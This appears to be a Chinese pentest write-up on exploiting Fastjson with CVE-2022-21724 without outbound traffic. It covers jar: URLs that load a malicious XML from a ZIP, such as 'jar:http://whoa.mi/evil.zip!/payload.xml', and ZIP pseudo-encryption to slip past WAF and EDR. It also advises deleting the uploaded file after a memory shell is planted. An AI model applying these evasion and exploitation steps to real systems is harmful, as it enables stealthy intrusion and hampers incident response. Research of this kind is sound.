Fastjson + CVE-2022-21724 不出网利用:从jar协议到ZIP伪加密的实战研究
⚠️ 本文仅供安全研究与学习使用,严禁用于非法用途。攻击属于高度敏感的攻击方式,若未经授权实施,将可能违反法律法规,请在合法授权范围内进行测试与实践。
前言
在一次渗透测试中,碰到一个使用老版本 fastjson + PostgreSQL 的目标。常规的 JNDI 外连利用容易触发告警,于是围绕 CVE-2022-21724(PostgreSQL JDBC socketFactory 任意类实例化)展开研究,逐步探索了 HTTPS 替代、jar 协议嵌套、文件上传配合等不出网利用思路,最终引出 ZIP 伪加密在 JDK 中的行为差异,形成了一条相对隐蔽的利用链。
漏洞点
某个项目, 一开始是发现有fastjson1.1.41, 第一次见到这么老的版本, 并且由于tomcat版本不匹配也没有H2 c3p0啥的, 所以当时看下来是只能打JdbcRowSetImpl. 当然这肯定要出网的, EDR或者态势感知告警框框弹的, 不想触发告警所以就丢一边没管了.
后来偶然回想起它有些配置文件里用的是postgresql数据库, 结合之前在 https://forum.butian.net/share/1339 看到. 构造socketFactory, 利用支持解析并加载xml的类进行实例化, 去解析恶意xml,以实现RCE
再回去一看, 发现居然有postgresql-42.2.5.jar, 这下好了, 根据NVD披露的说法, 9.4.1208 <= org.postgresql:postgresql < 42.2.25 42.3.0 <= org.postgresql:postgresql < 42.3.2 的版本都可以打, 有新的链子可以打那就能进一步想办法利用了.
顺便一提, 用java-chains里面生成的payload不能打这种老版本, 需要一定修改
不出网利用?
显而易见的, 根据这个漏洞来分析, 至少文章的复现手法, 是需要出网的
1 | { |
需要指向一个http服务器, 那么https协议也许是一个比较好的测试点
https
把参数中的url替换为https协议, 使用webhook.site. 测试下来(针对可以出网的目标), 确实可以使用https出网发出请求. 假如我们能在高可信域名下控制一些直链文件, 再把payload中的url指向过去, 也许是一个比较好的思路, 一定程度上可以绕过监控

文件上传点
巧合的是, 在研究这套系统时, 发现后台有一个点可以上传文件, 也就是说使指向127.0.0.1/path/to/file成为可能, 就可以不出网利用了.
然而比较麻烦的是, 上传文件这个东西本身就会要经过层层审查, 更何况整个xml的利用文件本身就含有挺多敏感字段的, 不能稳定过WAF.即使能过, 文件落地以后EDR也会查杀, 即使都不查杀事后溯源的时候也是一眼就能看出. 总之总体来说不是一个很好的选择, 动静还是有点大了. 由java-chains生成的springbeanxml类似于:
1 | <beans |
所以经过一番查阅, 发现其实还有jar://协议可以使用
jar协议
Java的java.net.URL类通过URLStreamHandler机制来处理不同协议. jar: 协议在规范中就被定义为一个复合协议, 其语法是:
jar:<任意合法URL>!/<entry路径>
jar协议的前半部分本身就是通过 new URL() 递归解析的, 所以它天然支持任何Java已注册的协议作为内层协议, 这里只是一个解压层, 即数据来源完全委托给内层协议. 所以这里理论上可以嵌套: jar:http://whoa.mi/inner.zip!/payload.xml
嵌套
springboot本身提供一种解析嵌套jar包的方法:
jar:nested:/some/file.jar/!BOOT-INF/lib/nested.jar!/com/example/MyClass.class
虽然目标是Springboot应用, 但ClassPathXmlApplicationContext加载远程 XML 时使用的是标准 java.net.URL, 不是Springboot的 LaunchedURLClassLoader. Springboot的自定义jar Handler只在其自身类加载体系内生效. 所以以多个 !/ 在漏洞利用中无法工作,只能用单层 jar:http://whoa.mi/evil.zip!/payload.xml
利用
仅一层的压缩其实已经足够. 真正利用时肯定考虑在一个很多正常文件的压缩包内藏一个恶意payload, 每个文件都使用极限压缩, payload放在中间, 以压缩的形式存储转换为zip字节流后, 基本没有WAF可以定位到这个可疑的点, 在上传完文件并内存马打入后, 连上去并立刻删除这个文件即可. 已经可以做到非常完美的不出网利用了.
当时我想到这里, 又想起其实jar包就是一个zip包, 那么能否使用伪加密的形式来使其能进一步伪装呢?
伪加密
ZIP文件中有两个关键结构都包含一个 General Purpose Bit Flag 字段
- Local File Header(签名 PK\x03\x04)——标志位在偏移 +6 处(2字节)
- Central Directory Header(签名 PK\x01\x02)——标志位在偏移 +8 处(2字节)
正常加密的 ZIP,这两处的加密位都为 1,且文件数据经过了真实的加密处理。 伪加密的核心思路是:数据本身没有加密,但人为把标志位从 0 改成 1,让解压工具"以为"文件被加密了,从而提示需要密码。
对于伪加密的jar包, 在解压软件的视角和JDK的视角也许会不一样, 所以这里叫claude写了个脚本来测试, 受篇幅限制先给出测试结果, 再写一个简化的版本: 结果基于 JDK 21.0.9
| ZIP 变体 | jar: URL | ZipFile | ZipInputStream | JarFile |
|---|---|---|---|---|
| normal.zip (无加密位) | ✅ OK | ✅ OK | ✅ OK | ✅ OK |
| fake_local_only (仅Local加密位) | ✅ OK | ✅ OK | ❌ FAILED | ✅ OK |
| fake_central_only (仅Central加密位) | ❌ FAILED | ❌ FAILED | ✅ OK | ❌ FAILED |
| fake_both (两者都设) | ❌ FAILED | ❌ FAILED | ❌ FAILED | ❌ FAILED |
1 | import zipfile, struct, shutil |
可以看出fake_local_only是最有利用价值的变体
只设置 Local File Header 的加密位, 不动 Central Directory. 原因在于 Java 的两套 ZIP 读取路径检查的 header 不同:
ZipFile / JarFile / jar: 协议
通过 Central Directory 定位和读取 entry, 只检查 Central Directory 的加密位. Local Header 的加密位被忽略
所以 fake_local_only → Central 是 CLEAR → 读取成功
ZipInputStream
顺序读取,先遇到 Local File Header, 检查 Local Header 的加密位
所以 fake_local_only → Local 是 SET → 读取失败